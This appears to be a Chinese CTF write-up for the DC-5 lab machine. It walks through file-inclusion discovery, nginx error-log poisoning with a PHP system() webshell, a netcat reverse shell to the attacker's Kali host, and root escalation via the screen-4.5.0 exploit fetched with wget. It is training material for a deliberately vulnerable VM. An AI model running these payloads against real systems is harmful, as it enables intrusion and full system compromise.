DC-5 writeup

DC-5渗透过程(kali IP:192.168.229.132 靶机IP:192.168.229.153)

一.信息收集 nmap -sP 192.168.229.0/24 nmap -sV 192.168.229.153 dirsearch -u http://192.168.229.153 whatweb 192.168.229.153 还可以用御剑扫描目录 得到信息:有一个特别的目录/footer.php每次刷新年份都会变化,在发现/thankyou.php里的年份每次也会变化,则thankyou.php页面包含了footer.php页面,那么这个页面可能会有文件包含漏洞

二.漏洞查找与利用 用burpsuite爆破文件包含名/thankyou.php?§ §=/etc/passwd,字典用fuzzdicts的paramdict的php.txt,爆破出来文件名为file /thankyou.php?file=/etc/nginx/nginx.conf //先看一下nginx的配置文件看日志文件开放没有,可能会有日志文件包含,发现有两个日志文件,这里可以看错误日志文件/var/log/nginx/error.log /thankyou.php?xxz=<?php system($_GET[1])?> //在burp重放器中输入,也可以传入一句话木马用蚁剑连接 /thankyou.php?file=/var/log/nginx/error.log&1=whoami //查看发现命令执行了 /thankyou.php?file=/var/log/nginx/error.log&1=nc -e /bin/bash 192.168.229.132 8888 //在kali上开启监听,连接虚拟shell

三.提权 python -c 'import pty;pty.spawn("/bin/bash")' find / -perm -u=s -type f 2>/dev/null //发现有screen-4.5.0,用searchsploit搜索发现有提取漏洞 locate linux/local/41154.sh cp /usr/share/exploitdb/exploits/linux/local/41154.sh test //直接用发现目标靶机没有gcc于是先在kali上用gcc编译了再在靶机上下载 vim libhax.c //把c文件复制进去 vim rootshell.c gcc -fPIC -shared -ldl -o libhax.so libhax.c rm -rf libhax.c gcc -o rootshell rootshell.c rm -rf rootshell.c vim test.sh //把cd /etc 及以后的脚本文件复制到这里面 python3 -m http.server 在靶机虚拟shell上: cd /tmp wget http://192.168.229.132:8000/test.sh wget http://192.168.229.132:8000/libhax.so wget http://192.168.229.132:8000/rootshell chmod 777 test.sh ./test.sh //提权成功 whoami cd /root ls cat thisistheflag.txt

收获总结: nginx日志包含 1.先查看配置文件,查看开启日志 2.通过分析日志文件,包含木马(一定要用burpsuite进行测试,直接用浏览器大小于号会被URL编码而无法正确识别php)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值